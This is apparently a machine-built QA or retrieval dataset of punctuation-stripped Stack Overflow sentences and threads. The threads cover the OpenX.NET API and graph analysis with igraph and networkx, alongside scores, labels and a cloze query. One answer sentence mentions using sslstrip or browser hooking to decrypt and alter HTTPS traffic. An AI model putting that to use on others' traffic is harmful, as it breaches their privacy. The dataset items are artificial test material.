{ "confidence": [ 65.46342468261719, 62.7584342956543, 59.38014602661133, 58.4361457824707, 50.413455963134766, 48.71978759765625, 44.5982780456543, 34.576385498046875, 29.593143463134766, 26.860828399658203, 26.705608367919922, 26.705608367919922, 26.376224517822266, 22.93905258178711, 21.616039276123047, 21.616039276123047, 20.537738800048828, 17.44483757019043, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559, 12.666960716247559 ], "content": [ "See OpenX.NET https : github.com mausch OpenX.Net to use OpenX from a .Net application .", "OpenX.NET is a 1-to-1 mapping to OpenX entities and methods .", "I m the author of OpenX.NET https : github.com mausch OpenX.Net .", "There are some bindings available https : github.com mausch OpenX.Net tree for .NET .", "Then see some OpenX.NET tests https : github.com mausch OpenX.Net blob master OpenXNet.Tests OpenXServiceTests.cs .", "By the way Mauricio thank you a lot for developing OpenX.NET", "http : localhost : 10002 openx api v2 xmlrpc see the sample app.config in the tests https : github.com mausch OpenX.Net blob master OpenXNet.Tests App.config.sample .", "EDIT : .. . .. . Above I am implementing OpenX API .", "If you just need to serve OpenX ads in a web application you don t need to use these API bindings .", "If you really need to use the API for other kind of scenarios and are new to OpenX I recommend first getting familiar with OpenX concepts see the OpenX Developer Zone http : www.openx.com community developers .", "Just place the OpenX javascript in your web page .", "Does this support version 3 of the OpenX API", "In my web project I have to serve ads through our openx server but after searching for documentation on how to implement openx s API on .NET I haven t found anything .", "Simply use the session constructor : .. . .. . The URL is the root URL for the OpenX v2 API e.g .", "While trying to connect to OpenX with the following code : asp.net c .. . .. . I am getting an error message : .. . .. . Response from server does not contain valid XML .", "I have been staring at the obtuse OpenX and its predecessors and variants bits for a while now and your translation has really made things easy .", "I already began implementing your API .", "Does anyone know how to implement their API on .NET and how to serve ads through it", "-- is an unexpected token .", "The expected token is .", "Line 31 position 3 .", "Using Fiddler it s possible to find out that the response I am getting is http : testserver.com www admin index.php i.e .", "html login page .", "Because of that I am getting this error message .", "The question is what is wrong", "Server settings", "Thank you", "The link was wrong : should be http : testserver.com www api v2 xmlrpc .", "I recommend using ISession instead of IOpenXProxy", "Documentation is appreciated .", "Note : I have done my searches and I didn t find anything relating this matter .", "Using their own API is a priority to third parties API .", "Right now I m waiting to get permissions for my user because the server returned Server returned a fault exception : 801 User must be OA installation admin on my attempt to login .", "Will the above code suffice to make use of your API", "This question really is a godsend .", "I have recently started looking into this same kind of thing .", "If I could upvote this twice I would .", "@Snowy that is the beauty of Stackoverflow .", "A place where we share our problems so they might become solutions for us and everyone else .", "EDIT : unless you want to debug something or really know what you re doing you never need to handle the proxy directly .", "It s a web service so I can t really use javascript .", "In my specific case I am going to use your API .", "I must serve ads randomize which ads will display at what time provide statistics and so on .", "Please check the edit on my question to see if I m doing things right .", "thank you for leading me the right way .", "I m working on the implementation of your API .", "Mauricio thank you++ for developing this .", "Thanks", "Mauricio many thanks for putting this together .", "Is there any documentation available for this API", "I looked up his website but I didn t find anything there ." ] }
{ "confidence": [ 85.36073303222656, 76.21675872802734, 71.53678894042969, 25.29254913330078 ], "content": [ "Question : In my web project I have to serve ads through our openx server but after searching for documentation on how to implement openx s API on .NET I haven t found anything . Does anyone know how to implement their API on .NET and how to serve ads through it Documentation is appreciated . Note : I have done my searches and I didn t find anything relating this matter . Using their own API is a priority to third parties API . EDIT : .. . .. . Above I am implementing OpenX API . Right now I m waiting to get permissions for my user because the server returned Server returned a fault exception : 801 User must be OA installation admin on my attempt to login . Will the above code suffice to make use of your API Comment : This question really is a godsend . I have recently started looking into this same kind of thing . If I could upvote this twice I would . Comment : @Snowy that is the beauty of Stackoverflow . A place where we share our problems so they might become solutions for us and everyone else . .. . Answer : I m the author of OpenX.NET https : github.com mausch OpenX.Net . If you just need to serve OpenX ads in a web application you don t need to use these API bindings . Just place the OpenX javascript in your web page . If you really need to use the API for other kind of scenarios and are new to OpenX I recommend first getting familiar with OpenX concepts see the OpenX Developer Zone http : www.openx.com community developers . Then see some OpenX.NET tests https : github.com mausch OpenX.Net blob master OpenXNet.Tests OpenXServiceTests.cs . OpenX.NET is a 1-to-1 mapping to OpenX entities and methods . EDIT : unless you want to debug something or really know what you re doing you never need to handle the proxy directly . Simply use the session constructor : .. . .. . The URL is the root URL for the OpenX v2 API e.g . http : localhost : 10002 openx api v2 xmlrpc see the sample app.config in the tests https : github.com mausch OpenX.Net blob master OpenXNet.Tests App.config.sample . Comment : It s a web service so I can t really use javascript . In my specific case I am going to use your API . I must serve ads randomize which ads will display at what time provide statistics and so on . I already began implementing your API . Please check the edit on my question to see if I m doing things right . Comment : By the way Mauricio thank you a lot for developing OpenX.NET Comment : thank you for leading me the right way . I m working on the implementation of your API . Comment : Mauricio thank you++ for developing this . I have been staring at the obtuse OpenX and its predecessors and variants bits for a while now and your translation has really made things easy . Thanks Comment : Mauricio many thanks for putting this together . Does this support version 3 of the OpenX API", "Question : While trying to connect to OpenX with the following code : asp.net c .. . .. . I am getting an error message : .. . .. . Response from server does not contain valid XML . -- is an unexpected token . The expected token is . Line 31 position 3 . Using Fiddler it s possible to find out that the response I am getting is http : testserver.com www admin index.php i.e . html login page . Because of that I am getting this error message . The question is what is wrong Server settings Thank you .. . Answer : See OpenX.NET https : github.com mausch OpenX.Net to use OpenX from a .Net application . I recommend using ISession instead of IOpenXProxy", "Question : In my web project I have to serve ads through our openx server but after searching for documentation on how to implement openx s API on .NET I haven t found anything . Does anyone know how to implement their API on .NET and how to serve ads through it Documentation is appreciated . Note : I have done my searches and I didn t find anything relating this matter . Using their own API is a priority to third parties API . EDIT : .. . .. . Above I am implementing OpenX API . Right now I m waiting to get permissions for my user because the server returned Server returned a fault exception : 801 User must be OA installation admin on my attempt to login . Will the above code suffice to make use of your API Comment : This question really is a godsend . I have recently started looking into this same kind of thing . If I could upvote this twice I would . Comment : @Snowy that is the beauty of Stackoverflow . A place where we share our problems so they might become solutions for us and everyone else . .. . Answer : There are some bindings available https : github.com mausch OpenX.Net tree for .NET . Comment : Is there any documentation available for this API I looked up his website but I didn t find anything there .", "Question : While trying to connect to OpenX with the following code : asp.net c .. . .. . I am getting an error message : .. . .. . Response from server does not contain valid XML . -- is an unexpected token . The expected token is . Line 31 position 3 . Using Fiddler it s possible to find out that the response I am getting is http : testserver.com www admin index.php i.e . html login page . Because of that I am getting this error message . The question is what is wrong Server settings Thank you .. . Answer : The link was wrong : should be http : testserver.com www api v2 xmlrpc ." ] }
[ "yes-answer-long", "yes-answer-short" ]
api
UNK_RELATION
network-analysis@graph-theory@66
network-analysis -- primarily analysis of general networks using @placeholder .
{ "confidence": [ 38.49640655517578, 35.553932189941406, 34.09237289428711, 29.441545486450195, 27.548871994018555, 27.548871994018555, 27.548871994018555, 27.419347763061523, 26.49264907836914, 25.576107025146484, 25.2802677154541, 24.285808563232422, 22.002029418945312, 21.289775848388672, 21.136810302734375, 20.762981414794922, 20.43962860107422, 20.25185203552246, 19.89561653137207, 19.89561653137207, 19.89561653137207, 19.89561653137207, 19.466686248779297, 19.216522216796875, 19.149330139160156, 19.149330139160156, 19.081253051757812, 19.081253051757812, 18.605316162109375, 18.605316162109375, 18.13051414489746, 17.984312057495117, 17.984312057495117, 17.984312057495117, 17.984312057495117, 17.984312057495117, 17.984312057495117, 17.86473274230957, 17.79095458984375, 17.79095458984375, 17.646211624145508, 17.618118286132812, 17.60287094116211, 17.312959671020508, 17.055604934692383, 16.90563201904297, 16.694011688232422, 16.694011688232422, 16.694011688232422, 16.694011688232422, 16.62152099609375, 16.56102180480957, 16.56102180480957, 16.56102180480957, 16.56102180480957, 16.56102180480957, 16.56102180480957, 16.244495391845703, 16.127460479736328, 16.127460479736328, 15.85467529296875, 15.813726425170898, 15.743858337402344, 15.270721435546875, 15.270721435546875, 15.227148056030273, 15.147552490234375, 15.147552490234375, 14.83716106414795, 14.83716106414795, 14.78135871887207, 14.658747673034668, 14.556713104248047, 14.556713104248047, 14.556713104248047, 14.556713104248047, 14.556713104248047, 14.556713104248047, 14.556713104248047, 14.476201057434082, 14.476201057434082, 14.453558921813965, 14.453558921813965, 14.453558921813965, 14.453558921813965, 14.430427551269531, 14.172162055969238, 13.936848640441895, 13.936848640441895, 13.936848640441895, 13.936848640441895, 13.764354705810547, 13.764354705810547, 13.724262237548828, 13.620611190795898, 13.620611190795898, 13.620611190795898, 13.620611190795898, 13.620611190795898, 13.61010456085205 ], "content": [ "Looking at using for modelling simulations and analysis of biological pathways or networks .", "a combo network-analysis and igraph r question .", "I m looking for a solution to perform network-analysis among my data set .", "Business history but there s a fair share of network-analysis in it too .", "I am new to stackoverflow and still rather new to R and social network analysis.. .", "I want to do a network-analysis of a certain group of politicians on Twitter and compare their lists of friends and followers .", "My full sample size is 597 000 rows with 70 000 users and 35 000 projects and I want to run a network-analysis of it .", "I am trying to learn network-analysis so I am using Hillary Clinton s emails online to see who emailed who .", "I m not familiar with visNetwork but it seems to be focused on visualisation rather than analysis of graphs .", "I am sure this is a known problem in network-analysis with advanced third-party solutions available but I am looking for a less complex solution as I am not that experienced as a programmer .", "I am new to network-analysis but I think G.nodes should just list out the nodes so Hillary Clinton Mark Penn etc .", "I m working on network-analysis and I have a dataset that looks like this .. . .. . As you can see each ego has been requested to name maximum three alters from the same office .", "In the case of an undirected network this means the network is not connected .", "For a directed network L order means that the network is not strongly-connected .", "enter image description here http : i.stack.imgur.com afJLT.jpg .. . .. . As we are looking for connected networks we got 2 connected networks CN here .", "I m trying to plot a geographic igraph network using visNetwork .", "I am trying to communicate with a Keysight Agilent Network analyzer through a GPIB using python scripting .", "A network is given .", "The network exception says that your graph is not connected .", "However in your case you have a directed network .", "But I don t think you ll have that for your network .", "Is there a way to see the network traffic from each app", "There is not really a general way to do this .", "This shows the network traffic of actions done using Adobe Drive .", "In the igraph package for R I am struggling to plot a social network using latitude-longitude coordinates as the layout of the graph .", "I created a network graph using a transition matrix based on detections of an individual at different spatially explicit monitoring stations .", "Is there any way to monitor network xhr setting in android may be with eclipse .", "I want to create a list of network matrices split by project .", "My question is with regard to the increase decrease of the diameter of a network .", "See example here http : www.singlegrave.nl network index.html", "Based on this download I have created an edge list containing 243 090 edges that looks something like this : .. . .. . I could already do a network-analysis with Gephi using just the original 89 users as nodes with a nodes list that looks like this : .. . .. . However additionally I would like to compare all the friends and followers of the original 89 users not just heir connections with each other in order to figure out for example how the users or parties are similar in their profiles of friends and followers .", "You have to connect your phone to the same network as your PC or laptop system .", "Firebug Net panel showing a gap between network requests http : i.stack.imgur.com NKsXS.jpg", "For the directed network you ve created the diameter is infinite : if there is a node u which has no path to v this means an infinite diameter .", "I am trying to build a network graph with word adjacency http : www-personal.umich.edu mejn netdata data .", "I am working with a list of network graphs i.e . 1000+ adjacency matrices that I m analyzing with the igraph package .", "I am looking to see when and which apps are accessing the network from my Android Phone .", "you can read about different algorithms of graph-traversal this is a general computer-science problem with well documented solutions", "I have a network that when I plot it has a number of overlapping nodes .", "How do I visualise the network on a map but keeping the visNetwork functionality", "The goal at least for me is to handle general browsers behaviour with some data .", "Go to wifi settings touch your connected wifi network for 4 seconds choose modify network config show advanced options Proxy Manual hostname YOURCOMPUTER NAME OR IP Proxy port 8888 or what you set it to in fiddler2 .. . 6 .", "I have added my DAM server as a network-drive using Adobe Drive .", "Question has been answered : stats.stackexchange.com questions 155956 http : stats.stackexchange.com questions 155956 one-mode-network-data-transformation Cheers", "I can plot the network graph and have it be spatially explicit using the layout argument in the plot.igraph http : igraph.org r doc plot.common.html function with the station locations as a matrix .", "I see the standard Newman 2002 http : arxiv.org abs cond-mat 0205405 implementation of assortativity may be applied to weighted networks replacing degree count with degree strength ala .. . .. .", "Most of the edges appear twice in your network and igraphs adds them as multiple edges .", "However I cannot seem to find any straightforward way of overlaying the network graph onto the island basemap .", "Despite playing around with coordinates and those arguments for many hours I still can t get the network graph on the basemap .", "Personally I will always try to avoid touching the sockets even anything network related .", "Try using the order function .", "Assuming your data represents a network here is a way to export it as an edge list csv : .. . .. . You can import it in Gephi as an edge list and let gephi automatically create the node list : .. . .. .", "So far the results have been promising but I ve met a problem that seem a bit more challenging : How to map out all parallel pathways in a network of unknown complexity and doing so efficiently", "The error message you are getting comes from this part of the code : .. . .. . Here L is the number of nodes that were reachable from a given node and order is the number of nodes in the network .", "I would like to test if the geographical location of my vertices ie I have a matrix giving the distance between each pair of actors of my network has an influence on the presence absence of edges .", "I d like to construct a subgraph of a graph of a directed network with all the vertices sharing a certain vertex attribute say V Grph year 1952 and their first-order immediate neighbors based only on the out-degree .", "You cannot monitor your own network on the android phone without root but here is how you can do it on a computer doesn t require root .. . .. . If you are on a windows PC try the following : .. . .. . 1 .", "We then sum over all the other nodes in the network that are not j and are not X .", "I m converting it to an undirected one using to undirected function .", "Now it is how can it be disconnected if I m using BFS .", "The igraph code is below I ve found this visNetwork solution but I m having problems adapting the code correctly https : github.com DataKnowledge visNetwork blob master R visIgraphLayout.R .. . .. . edit Update .. . .. . I have a R-igraph network this is visualised using the visNetwork library .", "These forums have some leads : gis.stackexchange.com questions 6803 http : gis.stackexchange.com questions 6803 alternatives-to-network-analyst stackoverflow.com questions 21961849 http : stackoverflow.com questions 21961849 creating-road-network-datasets-in-r .", "Dynamically requested ressources .. . .. . Using JavaScript resources can be requested asynchronously .", "I m thinking that as one adds more nodes to an existing network the density should effectively increase and the probability of the edges created by the new nodes could result in higher degree of clustering .", "If this is the case my assumption is that the diameter of the network should decrease as we add more nodes owing to the probability that shorter geodesic paths can now exist and become the new diameter .", "I suggest you to solve it using the list of edges you need to include in your subgraph instead of the list of vertices .", "I feel like there must be an easier way to do something like this in R without actually plotting a network though .", "See if this helps stackoverflow.com questions 21961849 http : stackoverflow.com questions 21961849 creating-road-network-datasets-in-r", "I am using the igraph-python s Graph.Read Ncol function .", "For now I was using Wpe Pro to apply this filter .", "The code I have so far is a follows : .. . .. . The output I am after would be two additional columns in Points B with 1 having the nearest Point A object ID along the road network and 2 having the distance along the network in km .", "For example you can edit a packet that is send using HTTP by using Pcap.NET https : github.com PcapDotNet Pcap.Net as said in the comments easily .", "Using igraph in R for a certain node x I would like to list the top three neighboring nodes based on the property of an edge between x and that neighboring node .", "If your IP address hasn t changed since the trace was gathered just get your IP address using ifconfig Linux or MacOS or the networking control panel in Windows .", "The first listed time can be longer than the onload time if you are loading things in from other sites using javascript AJAX reqeusts videos widgets from other sites like Facebook or Twitter .", "But if I try to find diameter of this graph using following function : .. . .. . With above code I am not able to find the diameter of my graph this doe not return anything and my program is stuck at this line .", "I tired running it with the directed-graph and I got the following error .. . networkx.exception.NetworkXError : Graph not connected : infinite path length .. . .. . My question is how can it be disconnected since I am using BFS to crawl .", "Assuming your list of vertices is resolved like list of vertices - V Grph year 1952 or whatever it is your condition you would do something like .. . .. . I m using a directed-graph .", "I have calculated individual nodes betweenness centrality scores in each respective graph using the following code : .. . .. . Now what I need is one dataframe with colums for the Graph ID s Node ID s and the individual scores for betweenness .", "in a street network search shortest-path for edges that for instance in an attribute way do not have value motorway toidentify paths not suitable for pedestrians. . or many other such things", "I can do this as the crow flies but cannot work out how to do the same along a road network the Roads object in the code .", "I have a spatial data frame this is visualised using Leaflet .", "Point of interest is also editing packets when using SSL connections .", "This is very closely related to @TylerRinker s answer but using different tools .", "Final aim is to create a column of group id by using some algorithms .", "I have this problem for a calculation I m doing on an observed network .", "I perform BFS in the following way : .. . .. . crawl is a function in which I make the slideshare api query as explained here http : www.slideshare.net developers documentation get user contacts create the query payload by using my shared-secret and api-key given at the time for api registration send the query and parse the XML response stored in variable response .", "When I am loading the graph using the SNAP library in an undirected fashion then I am getting the correct output .", "As an example see this video : https : vimeo.com 52390053 .. . .. . I m using iGraph for my plots .", "Working with this type of graph will assortativity using nodes weights bias up my correlation estimate", "I ve posted a close relative of this answer http : stackoverflow.com a 27164269 1270695 using cSplit e from splitstackshape as an alternative .", "However if the packet is using HTTPS SSL TLS then the payload which is the actual data being send will be encrypted and this could be bypassed if one multiple precondition s of SSL are broken http : stackoverflow.com a 14907718 2058541 or by using a tool like sslstrip python https : moxie.org software sslstrip .", "If the browser visits the website using HTTP you can use any of the described methods but if it visits the website using HTTPS you either need to have the master certificate or hook the browser in order to decrypt modify and re- encrypt the payload .", "Captured network traffic http : i.stack.imgur.com LVcym.jpg .. . .. . There is a Adobe Companion App http : docs.adobe.com docs en aem 6-1 administer integration companion-app.html which is coming with AEM 6.1 .", "It s just important to get them all using the same factor levels to get a tables with the same dimensions even if some observations are missing .", "I am using this dataset from SNAP group : https : snap.stanford.edu data ca-GrQc.html As mentioned the dataset has 14496 edges and 5242 nodes .", "This http : stackoverflow.com questions 30647537 using-geo-coordinates-as-vertex-coordinates-in-the-igraph-r-package post suggested t has to do with the xlim ylim arguments .", "There are dozens of examples out there on the web that will guide you in modifying packets using Pcap for example this discussion http : pcapdotnet.codeplex.com discussions 349978 on the official Pcap.NET forums .", "@leoce to install from GitHub try using install github from devtools -- something like install github mrdwab splitstackshape ref devel should give you 1.4.3 .", "Imagine this simple example : a network with 4 nodes of which you know the geographical location and the connections : .. . .. . Here you have the meta-data for the nodes so that Bob lives in NY Klaus in Berlin Edith in Paris and Liu in Bejing : .. . .. . We make g the igraph object.. . .. . .. . ...and we define our layout as the longitude latitude coordinates .. . .. . If you run this example with these real geo-coordinates you ll see that it is relatively accurate in the sense that the locations are right relative to each other ." ] }
{ "confidence": [ 34.77915954589844, 30.801868438720703, 30.42644500732422, 29.916606903076172, 27.240196228027344, 26.620563507080078, 25.444801330566406, 25.444801330566406, 22.962615966796875, 21.519451141357422, 20.583789825439453, 19.805519104003906, 19.74200439453125, 19.298730850219727, 18.77698516845703, 18.51669692993164, 18.17426109313965, 17.703460693359375, 17.684673309326172, 17.564071655273438 ], "content": [ "Question : A network is given . enter image description here http : i.stack.imgur.com afJLT.jpg .. . .. . As we are looking for connected networks we got 2 connected networks CN here . First CN : 1 2 5 6 7 and Second CN : 3 4 8 .. . .. . we attach a group id to each CN . So each node of the first CN has group id 1 and that of second CN group id 2 . Final aim is to create a column of group id by using some algorithms . In the above case by observing the image Comment : Please add from and to to your post . .. . Answer : I m not familiar with visNetwork but it seems to be focused on visualisation rather than analysis of graphs . Thus I propose an igraph solution . The igraph object can be directly created from your data frame edges and plotted with plot : .. . .. . enter image description here http : i.stack.imgur.com mcEBn.png .. . .. . igraph offers many functions to analyze a graph . You can get the various disconnected components of the graph with components : .. . .. . membership is exactly what you asked for . So this would give you a data frame of all the vertices with the number of the component they belong to : .. . .. . Alternatively you could add the column group id to your data frame nodes : .. . .. . Note that you need to convert nodes id to character to make sure that you actually index with names .", "Question : null .. . Answer : What are the recommended packages for graph-theory operations . Looking at using for modelling simulations and analysis of biological pathways or networks . Ideally something that handles directional links loops and colour-coded plots . A negative weighting or visualisation for different edge states would be helpful too for representing inhibition relations for example . I d like to find a package which does most of these functions all-in-one with a Vignette if possible . I m experienced with R for statistical purposes and I ve taken a graph-theory course but I m new to the computer-science of this area so anything user-friendly would be great . Comment : Requests for packages are off topic on SO . See CRAN task views https : cran.r-project.org web views for a list of topics under which you can find packages .", "Question : null .. . Answer : I am new to stackoverflow and still rather new to R and social network analysis.. . I want to do a network-analysis of a certain group of politicians on Twitter and compare their lists of friends and followers . I have an original list of 89 politicians on Twitter for which I have downloaded their friends and followers using a loop with twitteR and ROAUTH . Based on this download I have created an edge list containing 243 090 edges that looks something like this : .. . .. . I could already do a network-analysis with Gephi using just the original 89 users as nodes with a nodes list that looks like this : .. . .. . However additionally I would like to compare all the friends and followers of the original 89 users not just heir connections with each other in order to figure out for example how the users or parties are similar in their profiles of friends and followers . Because it is such a large list 243 064 edges around 62 000 nodes Gephi on my Computer can t handle it . I feel like there must be an easier way to do something like this in R without actually plotting a network though . I ve looked e.g . at the igraph package but I can t figure out a good way to do this . Any ideas Sorry if this is too vague . I would be happy to provide more information if needed . Comment : I would be glad to help but for that I need to know what you want to do exactly To compare all friends and followers of the original 89 users is way too vague . What is the question you want to answer Comment : I am sorry Gabor I didn t realize you answered I thought I would get an email . My question is : How many mutual friends followers have the Twitter Users of the same party e.g . in Does that make more sense", "Question : null .. . Answer : I m looking for a solution to perform network-analysis among my data set . My database is shaped like this : .. . .. . In first column are relev ID unique for each plot sampled and in row cover abundance of species if seen in the plot or NA if not seen . From this database I would obtain a table which will allow me to analyse links between each species like : .. . .. . Example according to Table 1 : .. . .. . The links between species are considered as true if they coexist in at least one relev . If someone knows how to do that it would be helpful EDIT : .. . .. . Another solution which would be useful is this one : .. . .. . Results in this data frame are linked to the Table 1.. . .. . .. . Any idea Comment : Question has been answered : stats.stackexchange.com questions 155956 http : stats.stackexchange.com questions 155956 one-mode-network-data-transformation Cheers R .", "Question : I m working on network-analysis and I have a dataset that looks like this .. . .. . As you can see each ego has been requested to name maximum three alters from the same office . I would like to match the ID-codes with their names in order to get new variables columns something like this .. . .. . I already know how to get the variable ID-code ego : .. . .. . egen ID-code ego concat ID-code ego .. . .. . But I don t know how to match the other observations with their ID-code . any suggestions are welcome . Thanks Amedeo .. . Answer : To match values from other observations the typical approach in Stata is to use merge . In a first step you create a master list of distinct values of ego per office . Then you go back to the original data and merge each alter with the distinct office names . Some variable name renaming is required to perform the merge :", "Question : I ve just started a project for myself where the goal is to make Python-3 package for modelling hydraulic circuits . So far the results have been promising but I ve met a problem that seem a bit more challenging : How to map out all parallel pathways in a network of unknown complexity and doing so efficiently I am sure this is a known problem in network-analysis with advanced third-party solutions available but I am looking for a less complex solution as I am not that experienced as a programmer . So in the package there are two modules so far : components and system . In the system-module I am working with a Circuit class and a Crawler class which the latter should have methods for analysing a Circuit object . The Circuit class has methods for building a list of instances of component objects from given data and for linking the objects by manipulating a connections attribute . Every component in a Circuit.comp list thus has pointers in and out of itself . Nodes will have two or more pointers in and or out of itself where the circuit branches or reunites . The pointers are short names string values that provide a link-to other named components in the circuit ex : Node.connections attribute with two pointers out to named Pipe objects : .. . .. . So far I ve thought of crawling at random through the circuit and adding new leves to a dictionary when branches are found . But I am not sure excatly how to solve this programaticly . I think it should be possible to start with one random component and follow the links while building the map of routes and parallel pathways . This map would later be used for computing total resistance in the circuit when matching the circuit with a pump . I ll provide more code on request . Comment : you can read about different algorithms of graph-traversal this is a general computer-science problem with well documented solutions Comment : Thanks @m.wasowski the term graph-traversal fits the problem I am looking to solve . I am sure I ll find a solution by exploring this term . Comment : I found some inspiration at ActiveState Code Receipes http : code.activestate.com recipes 576723-dfs-and-bfs-graph-traversal . I were looking for something minimal and less complex as this . .. . Answer : You could use bond graphs http : en.wikipedia.org wiki Bond graph . These can represent a whole range of dynamic systems . Not just hydraulics but also electrical and mechanical because the governing equations are similar . There is a thesis https : uwspace.uwaterloo.ca bitstream handle 10012 2739 thesis.pdf sequence 1 from 2006 about simulation sith bond graphs . You can use the bond graph to derive the system of algebraic and differential-equations that govern the system . If you look around on the internet there are several tools for simulating partial differential-equations .", "Question : I am trying to learn network-analysis so I am using Hillary Clinton s emails online to see who emailed who . My data is in a dictionary called hrc dict . I have a tuple of the sender and receiver followed by the frequency of the emails . This is part of the dictionary : .. . .. . Hillary Clinton Cheryl Mills : 354 Hillary Clinton l : 1 Linda Dewan Hillary Clinton : 1 Hillary Clinton Capricia Marshall : 9 Phillip Crowley Hillary Clinton : 2 Cheryl Mills Anne-Marie Slaughter : 1 .. . .. . I am using Networkx in Jupyter to create a graph . My code is below : .. . .. . When I call nx.Graph nothing prints out and when I call G.nodes not all the nodes are showing up . I have pasted some of the output here : .. . .. . 1 2 3 4 5 6 7 8 Mark Penn 10 Todd Stern Hillary Clinton 12 .. . .. . When I call G.edges I get the below which seems right .. . .. . 1 Hillary Clinton l 1 Linda Dewan Hillary Clinton 1 Hillary Clinton Thomas Shannon 1 Cheryl Mills Anne-Marie Slaughter 1 Christopher Butzgy Hillary Clinton .. . .. . Does anyone know how I can add nodes correctly to my graph . I assume that each person needs to be a node so how do I break up the tuple and add the names separately Are the edges showing correctly or do I need to enter them differently Comment : Can you say what you expect the output of G.nodes and G.edges to be Comment : I am not really sure . I am new to network-analysis but I think G.nodes should just list out the nodes so Hillary Clinton Mark Penn etc . G.edges should list out the frequency . .. . Answer : To add each person as a node you also need to change the use of add nodes from . Something like this : .. . .. . now means that the list of nodes from G.nodes will be : .. . .. . you don t get any duplicates because networkx stores graphs as a dictionary . Note : if you use the method below for adding the edges there isn t any need to add the nodes first -- but in case there is some reason why you might have nodes that have no neighbours or another reason why nodes only is important this code will do it . Then add the edges basically as per Joel s answer but also note the use of the attribute weight so the layout can make use of information directly . And this is what we might see : .. . .. . Example output - note that because the HC A-MS edge is so strong it is very short http : i.stack.imgur.com 3a27s.png", "Question : I am trying to learn network-analysis so I am using Hillary Clinton s emails online to see who emailed who . My data is in a dictionary called hrc dict . I have a tuple of the sender and receiver followed by the frequency of the emails . This is part of the dictionary : .. . .. . Hillary Clinton Cheryl Mills : 354 Hillary Clinton l : 1 Linda Dewan Hillary Clinton : 1 Hillary Clinton Capricia Marshall : 9 Phillip Crowley Hillary Clinton : 2 Cheryl Mills Anne-Marie Slaughter : 1 .. . .. . I am using Networkx in Jupyter to create a graph . My code is below : .. . .. . When I call nx.Graph nothing prints out and when I call G.nodes not all the nodes are showing up . I have pasted some of the output here : .. . .. . 1 2 3 4 5 6 7 8 Mark Penn 10 Todd Stern Hillary Clinton 12 .. . .. . When I call G.edges I get the below which seems right .. . .. . 1 Hillary Clinton l 1 Linda Dewan Hillary Clinton 1 Hillary Clinton Thomas Shannon 1 Cheryl Mills Anne-Marie Slaughter 1 Christopher Butzgy Hillary Clinton .. . .. . Does anyone know how I can add nodes correctly to my graph . I assume that each person needs to be a node so how do I break up the tuple and add the names separately Are the edges showing correctly or do I need to enter them differently Comment : Can you say what you expect the output of G.nodes and G.edges to be Comment : I am not really sure . I am new to network-analysis but I think G.nodes should just list out the nodes so Hillary Clinton Mark Penn etc . G.edges should list out the frequency . .. . Answer : Your problem is basically in this bit : .. . .. . networkx interprets this as add an edge between the first argument s r and the second argument hrc dict s r . So for example Hillary Clinton Cheryl Mills : 354 becomes an edge between the node Hillary Clinton Cheryl Mills and the node 354 . Instead try Comment : When I add the edge with G.add edge s r count hrc dict s r I get a list but no frequency numbers : Mark Penn Hillary Clinton Brian Greenspun Hillary Clinton Esther Brimmer Hillary Clinton Lee Feinstein Hillary Clinton and still no graph . Comment : G.edges data True will give the list of edges and include their data . I don t know what you mean by still no graph .", "Question : I m working on network-analysis and I have a dataset that looks like this .. . .. . As you can see each ego has been requested to name maximum three alters from the same office . I would like to match the ID-codes with their names in order to get new variables columns something like this .. . .. . I already know how to get the variable ID-code ego : .. . .. . egen ID-code ego concat ID-code ego .. . .. . But I don t know how to match the other observations with their ID-code . any suggestions are welcome . Thanks Amedeo .. . Answer : Kevin Crow wrote a vlookup clone that makes this very easy : .. . .. . .. . .. . Addendum : Comment : Dear Dimitriy . Thank you so much for your help . Because I have subjects with the same name in my list I get the error Id-code is unique within ego there are multiple observations with different id-code within ego . Therefor I would like to specify to run your command for each office you can see the variable office in the first table . Within offices i don t have double names . I have tried with a bys office : but vlookup doesn t accept by command . Comment : @Amedeo That is a key detail that s not mentioned in your original question . The solution is to redefine things to be officer specific . Comment : I m sorry I thought it was clear since there is the variable in the table and I said that the alters are from the same office . My mistake . Moreover I didn t know that vlookup doesn t accept the by command Thanks for your help Dimitriy", "Question : null .. . Answer : a combo network-analysis and igraph r question . It is cross posted with Mathematics http : math.stackexchange.com questions 1361491 graph-theory-help-assortativity-coefficient-with-weighted-nodes-remaining-weig and I will hopefully not be laughed away . I am trying to find the assortativity coefficient for an undirected weighted graph . Edges are have weights reflecting flows of value between nodes if you re curious it s a graph of a marketplace with goods being exchanged between traders . I see the standard Newman 2002 http : arxiv.org abs cond-mat 0205405 implementation of assortativity may be applied to weighted networks replacing degree count with degree strength ala .. . .. . formula http : latex.codecogs.com gif.latex r 5Ew 20 3D 20 5Cfrac 7B 7B 5Cfrac 7B1 7D 7BM 7D 20 5Csum 7Bi 3D1 7D 5EM 20 28 5Cprod 7B 5Cphi 20 5Cin 20F 28i 29 7D 20s 5Cphi 29 7D 20- 20 5B 5Cfrac 7B 7B1 7D 7D 7B2M 7D 20 5Csum 7Bi 3D1 7D 5EM 20 28 5Csum 7B 5Cphi 20 5Cin 20F 28i 29 7D 20s 5Cphi 29 5D 5E2 7D 20 7B 7B 20 5Cfrac 7B 7B1 7D 7D 7B2M 7D 20 5Csum 7Bi 3D1 7D 5EM 20 28 5Csum 7B 5Cphi 20 5Cin 20F 28i 29 7D 20s 5Cphi 29 7D 20- 20 5B 5Cfrac 7B 7B1 7D 7D 7B2M 7D 20 5Csum 7Bi 3D1 7D 5EM 20 28 5Csum 7B 5Cphi 20 5Cin 20F 28i 29 7D 20s 5Cphi 29 5D 5E2 7D .. . .. . where i indexes the graph s M edges and F i denotes the set of two nodes connected by link i and s phi is strength or total weights the sum of edge weights connected to node phi . And I see this implemented by the r-package igraph https : github.com cran igraph blob ffa6adb9c4294310ea6b8884e1b6457fa190e261 src mixing.c via the assortativity g types1 graph.strength g where types1 are node weights . The issue .. . .. . If s phi were just degrees one could either use total or remaining degrees and you d get the same answer either way . However using total weight graph.strength g above I am worried about introducing upward bias in my assortativity metric since each node weight 